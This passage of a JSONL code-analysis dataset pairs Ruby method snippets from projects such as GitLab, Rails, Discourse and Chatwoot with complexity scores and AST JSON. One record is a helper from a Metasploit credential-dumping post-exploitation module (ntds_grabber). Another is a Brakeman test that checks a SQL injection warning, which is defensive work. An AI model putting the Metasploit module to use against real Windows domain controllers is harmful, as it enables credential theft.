end","complexity_score":15.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Popen\"]},\"popen_with_detail\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stdin\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stdin\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"to_json\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exit_status\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"status\"]},\"exitstatus\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exit_status\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"stderr\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]}","id":"cea1b118-abeb-42e1-a247-e598fb5d40e7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/users/snippets_resolver.rb","start_line":19,"raw_source":"def resolve_snippets(_args)\n        return Snippet.none unless Ability.allowed?(current_user, :read_user_profile, user)\n\n        super\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_snippets\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_user_profile\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Snippet\"]},\"none\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"9da37603-dd72-4cea-91c4-c898a50b0434"}
{"repo_name":"forem","file_path":"./repos/forem/app/decorators/podcast_episode_decorator.rb","start_line":33,"raw_source":"def published_at_int\n    published_at.to_i\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"published_at_int\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"published_at\"]},\"to_i\"]}]}","id":"b390bbe3-e962-4bda-a57c-608798cd83dd"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/app/models/impediment.rb","start_line":53,"raw_source":"def update_blocks_list\n    mark_blocks_to_destroy\n\n    build_new_blocks\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"update_blocks_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mark_blocks_to_destroy\"]},{\"type\":\"send\",\"children\":[null,\"build_new_blocks\"]}]}]}","id":"5ff89bcc-dbc9-44dc-b2e4-0c20b59ff574"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_permalink_form.rb","start_line":16,"raw_source":"def select_permalink_type(type)\n        form.field(\"permalinkType\").select(type)\n        self\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"select_permalink_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form\"]},\"field\",{\"type\":\"str\",\"children\":[\"permalinkType\"]}]},\"select\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"4096986c-9b08-4d14-bf2a-399f545d1ba1"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails6.rb","start_line":150,"raw_source":"def test_sql_injection_sanitize_sql_like\n    assert_warning :type => :warning,\n      :warning_code => 0,\n      :fingerprint => \"8dde11c95a0f3acb4f982ff6554ac3ba821334ee04aee7f1fb0ea01c8919baad\",\n      :warning_type => \"SQL Injection\",\n      :line => 13,\n      :message => /^Possible\\ SQL\\ injection/,\n      :confidence => 1,\n      :relative_path => \"app/models/group.rb\",\n      :code => s(:call, s(:const, :Arel), :sql, s(:dstr, \"name ILIKE '%\", s(:evstr, s(:call, s(:colon2, s(:const, :ActiveRecord), :Base), :sanitize_sql_like, s(:lvar, :query))), s(:str, \"%'\"))),\n      :user_input => s(:call, s(:colon2, s(:const, :ActiveRecord), :Base), :sanitize_sql_like, s(:lvar, :query))\n  end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sql_injection_sanitize_sql_like\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"8dde11c95a0f3acb4f982ff6554ac3ba821334ee04aee7f1fb0ea01c8919baad\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"SQL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[13]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ SQL\\\\ injection\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/models/group.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"Arel\"]}]},{\"type\":\"sym\",\"children\":[\"sql\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"dstr\"]},{\"type\":\"str\",\"children\":[\"name ILIKE '%\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"evstr\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"colon2\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"ActiveRecord\"]}]},{\"type\":\"sym\",\"children\":[\"Base\"]}]},{\"type\":\"sym\",\"children\":[\"sanitize_sql_like\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lvar\"]},{\"type\":\"sym\",\"children\":[\"query\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"str\"]},{\"type\":\"str\",\"children\":[\"%'\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"colon2\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"ActiveRecord\"]}]},{\"type\":\"sym\",\"children\":[\"Base\"]}]},{\"type\":\"sym\",\"children\":[\"sanitize_sql_like\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lvar\"]},{\"type\":\"sym\",\"children\":[\"query\"]}]}]}]}]}]}]}","id":"4c41b539-2d97-4780-befb-27004109dc78"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250507154107_update_partitioning_app_settings.rb","start_line":21,"raw_source":"def update_partitioning_threshold(size)\n    execute(<<~SQL.squish)\n      UPDATE application_settings\n      SET ci_cd_settings = jsonb_set(\n        ci_cd_settings, '{ci_partitions_size_limit}', to_jsonb(#{size})\n      )\n    SQL\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_partitioning_threshold\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE application_settings\\n\"]},{\"type\":\"str\",\"children\":[\"SET ci_cd_settings = jsonb_set(\\n\"]},{\"type\":\"str\",\"children\":[\"  ci_cd_settings, '{ci_partitions_size_limit}', to_jsonb(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]}]},\"squish\"]}]}]}","id":"2a9d6db8-6916-4a18-b297-92ec05a96221"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/loaders/lazy_relation_loader/top_n_loader.rb","start_line":24,"raw_source":"def load\n            klass.select(klass.arel_table[Arel.star])\n                 .from(from)\n                 .joins(\"JOIN LATERAL (#{lateral_relation.to_sql}) AS #{klass.arel_table.name} ON true\")\n                 .includes(original_includes)\n                 .preload(original_preload)\n                 .eager_load(original_eager_load)\n                 .load\n          end","complexity_score":41.8,"ast_json":"{\"type\":\"def\",\"children\":[\"load\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"select\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"arel_table\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"star\"]}]}]},\"from\",{\"type\":\"send\",\"children\":[null,\"from\"]}]},\"joins\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"JOIN LATERAL (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lateral_relation\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\") AS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"arel_table\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" ON true\"]}]}]},\"includes\",{\"type\":\"send\",\"children\":[null,\"original_includes\"]}]},\"preload\",{\"type\":\"send\",\"children\":[null,\"original_preload\"]}]},\"eager_load\",{\"type\":\"send\",\"children\":[null,\"original_eager_load\"]}]},\"load\"]}]}","id":"33971d15-842a-40e0-a75c-26564993390a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/sql_fingerprint_extractor.rb","start_line":15,"raw_source":"def initialize(logger = nil)\n    @logger = logger || Logger.new($stdout)\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"logger\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@logger\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"new\",{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]}]}]}]}","id":"13cae33d-0d65-4c57-bbe2-ae12c378e92e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/protect_default_branch_service.rb","start_line":50,"raw_source":"def allow_force_push?\n      default_branch_protection.allow_force_push?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_force_push?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_branch_protection\"]},\"allow_force_push?\"]}]}","id":"4214de7a-875a-47d4-81fc-ff7439c991e0"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/abstract/abstract_controller_test.rb","start_line":150,"raw_source":"def setup\n        @controller = Me3.new\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@controller\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Me3\"]},\"new\"]}]}]}","id":"809875a2-1149-4801-b12c-b275f92ec001"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/super_admin/app_configs_controller.rb","start_line":34,"raw_source":"def allowed_configs\n    mapping = {\n      'facebook' => %w[FB_APP_ID FB_VERIFY_TOKEN FB_APP_SECRET IG_VERIFY_TOKEN FACEBOOK_API_VERSION ENABLE_MESSENGER_CHANNEL_HUMAN_AGENT],\n      'shopify' => %w[SHOPIFY_CLIENT_ID SHOPIFY_CLIENT_SECRET],\n      'microsoft' => %w[AZURE_APP_ID AZURE_APP_SECRET],\n      'email' => ['MAILER_INBOUND_EMAIL_DOMAIN'],\n      'linear' => %w[LINEAR_CLIENT_ID LINEAR_CLIENT_SECRET],\n      'slack' => %w[SLACK_CLIENT_ID SLACK_CLIENT_SECRET],\n      'instagram' => %w[INSTAGRAM_APP_ID INSTAGRAM_APP_SECRET INSTAGRAM_VERIFY_TOKEN INSTAGRAM_API_VERSION ENABLE_INSTAGRAM_CHANNEL_HUMAN_AGENT],\n      'whatsapp_embedded' => %w[WHATSAPP_APP_ID WHATSAPP_APP_SECRET WHATSAPP_CONFIGURATION_ID WHATSAPP_API_VERSION],\n      'notion' => %w[NOTION_CLIENT_ID NOTION_CLIENT_SECRET],\n      'google' => %w[GOOGLE_OAUTH_CLIENT_ID GOOGLE_OAUTH_CLIENT_SECRET GOOGLE_OAUTH_REDIRECT_URI]\n    }\n\n    @allowed_configs = mapping.fetch(@config, %w[ENABLE_ACCOUNT_SIGNUP FIREBASE_PROJECT_ID FIREBASE_CREDENTIALS])\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_configs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mapping\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"facebook\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"FB_APP_ID\"]},{\"type\":\"str\",\"children\":[\"FB_VERIFY_TOKEN\"]},{\"type\":\"str\",\"children\":[\"FB_APP_SECRET\"]},{\"type\":\"str\",\"children\":[\"IG_VERIFY_TOKEN\"]},{\"type\":\"str\",\"children\":[\"FACEBOOK_API_VERSION\"]},{\"type\":\"str\",\"children\":[\"ENABLE_MESSENGER_CHANNEL_HUMAN_AGENT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"shopify\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"SHOPIFY_CLIENT_ID\"]},{\"type\":\"str\",\"children\":[\"SHOPIFY_CLIENT_SECRET\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"microsoft\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"AZURE_APP_ID\"]},{\"type\":\"str\",\"children\":[\"AZURE_APP_SECRET\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"email\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MAILER_INBOUND_EMAIL_DOMAIN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"linear\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"LINEAR_CLIENT_ID\"]},{\"type\":\"str\",\"children\":[\"LINEAR_CLIENT_SECRET\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"slack\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"SLACK_CLIENT_ID\"]},{\"type\":\"str\",\"children\":[\"SLACK_CLIENT_SECRET\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"instagram\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"INSTAGRAM_APP_ID\"]},{\"type\":\"str\",\"children\":[\"INSTAGRAM_APP_SECRET\"]},{\"type\":\"str\",\"children\":[\"INSTAGRAM_VERIFY_TOKEN\"]},{\"type\":\"str\",\"children\":[\"INSTAGRAM_API_VERSION\"]},{\"type\":\"str\",\"children\":[\"ENABLE_INSTAGRAM_CHANNEL_HUMAN_AGENT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"whatsapp_embedded\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"WHATSAPP_APP_ID\"]},{\"type\":\"str\",\"children\":[\"WHATSAPP_APP_SECRET\"]},{\"type\":\"str\",\"children\":[\"WHATSAPP_CONFIGURATION_ID\"]},{\"type\":\"str\",\"children\":[\"WHATSAPP_API_VERSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"notion\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"NOTION_CLIENT_ID\"]},{\"type\":\"str\",\"children\":[\"NOTION_CLIENT_SECRET\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"google\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"GOOGLE_OAUTH_CLIENT_ID\"]},{\"type\":\"str\",\"children\":[\"GOOGLE_OAUTH_CLIENT_SECRET\"]},{\"type\":\"str\",\"children\":[\"GOOGLE_OAUTH_REDIRECT_URI\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@allowed_configs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"fetch\",{\"type\":\"ivar\",\"children\":[\"@config\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ENABLE_ACCOUNT_SIGNUP\"]},{\"type\":\"str\",\"children\":[\"FIREBASE_PROJECT_ID\"]},{\"type\":\"str\",\"children\":[\"FIREBASE_CREDENTIALS\"]}]}]}]}]}]}","id":"5fc77417-64e8-443b-9e9d-2490b4f82a3d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250602152141_add_organization_id_to_ci_runners.rb","start_line":26,"raw_source":"def down\n    with_lock_retries do\n      remove_column(TABLE_NAME, :organization_id, if_exists: true)\n    end\n\n    return unless archived_table_present?\n\n    with_lock_retries do\n      remove_column(ARCHIVED_TABLE_NAME, :organization_id, if_exists: true)\n      recreate_sync_trigger # rubocop:disable Migration/WithLockRetriesDisallowedMethod -- false positive\n    end\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"archived_table_present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"recreate_sync_trigger\"]}]}]}]}]}","id":"43abf9e1-22cf-47c9-b692-ef8ffcb8f547"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/ldap/synchronize_users_service.rb","start_line":35,"raw_source":"def initialize(ldap, logins = nil)\n      super(ldap)\n      @logins = logins\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ldap\"]},{\"type\":\"optarg\",\"children\":[\"logins\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@logins\",{\"type\":\"lvar\",\"children\":[\"logins\"]}]}]}]}","id":"f13944ed-a695-405b-9b61-62836c6b05fc"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/user_comm_screener.rb","start_line":56,"raw_source":"def ignoring_or_muting?\n      is_muting || is_ignoring\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ignoring_or_muting?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_muting\"]},{\"type\":\"send\",\"children\":[null,\"is_ignoring\"]}]}]}","id":"15ad7d9e-0ecc-48e4-b60c-14226a37b44c"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/report_line_items/products_performance.rb","start_line":29,"raw_source":"def category_lvl0\n        mapped_categories&.first\n      end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"category_lvl0\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mapped_categories\"]},\"first\"]}]}","id":"efe18c56-0994-446a-9130-fb4e807ac4e4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/ntds_grabber.rb","start_line":79,"raw_source":"def get_windows_loc\n    apicall = session.railgun.kernel32.GetEnvironmentVariableA('Windir', 255, 255)['lpBuffer']\n    windir = apicall.split(':')[0]\n    return windir\n  end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"get_windows_loc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"apicall\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"railgun\"]},\"kernel32\"]},\"GetEnvironmentVariableA\",{\"type\":\"str\",\"children\":[\"Windir\"]},{\"type\":\"int\",\"children\":[255]},{\"type\":\"int\",\"children\":[255]}]},\"[]\",{\"type\":\"str\",\"children\":[\"lpBuffer\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"windir\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"apicall\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"windir\"]}]}]}]}","id":"d8fb90e9-2a9a-48a4-b7c4-46e3d763aebb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/job_token/group_scope_link.rb","start_line":37,"raw_source":"def source_project_under_link_limit\n        return unless source_project\n\n        existing_links_count = self.class.with_source(source_project).count\n\n        return if existing_links_count < GROUP_LINK_LIMIT\n\n        errors.add(:source_project, \"exceeds the allowable number of group links\")\n      end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"source_project_under_link_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_project\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_links_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"with_source\",{\"type\":\"send\",\"children\":[null,\"source_project\"]}]},\"count\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_links_count\"]},\"<\",{\"type\":\"const\",\"children\":[null,\"GROUP_LINK_LIMIT\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"source_project\"]},{\"type\":\"str\",\"children\":[\"exceeds the allowable number of group links\"]}]}]}]}","id":"0f2d7a4f-9667-4100-a59c-19fa315ffff9"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_integration_ssl_session.rb","start_line":134,"raw_source":"def test_off_tls1_3\n    skip 'TLSv1.3 unavailable' unless Puma::MiniSSL::HAS_TLS1_3 && CLIENT_HAS_TLS1_3\n    reused = run_session 'nil'\n    assert reused, 'TLSv1.3 session was not reused'\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_off_tls1_3\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"MiniSSL\"]},\"HAS_TLS1_3\"]},{\"type\":\"const\",\"children\":[null,\"CLIENT_HAS_TLS1_3\"]}]},null,{\"type\":\"send\",\"children\":[null,\"skip\",{\"type\":\"str\",\"children\":[\"TLSv1.3 unavailable\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reused\",{\"type\":\"send\",\"children\":[null,\"run_session\",{\"type\":\"str\",\"children\":[\"nil\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"reused\"]},{\"type\":\"str\",\"children\":[\"TLSv1.3 session was not reused\"]}]}]}]}","id":"edc84d52-e05b-445a-a2f4-fdc271c91442"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/dependency_tracker_test.rb","start_line":262,"raw_source":"def test_dependencies_with_interpolation_non_trailing\n    view_paths = ActionView::PathSet.new([File.expand_path(\"../fixtures/digestor\", __dir__)])\n\n    template = FakeTemplate.new(%q{\n      <%= render \"#{type}/comments\" %>\n    }, :erb)\n\n    tracker = make_tracker(\"interpolation/_string\", template, view_paths)\n\n    assert_equal [ \"*/comments\" ], tracker.dependencies\n  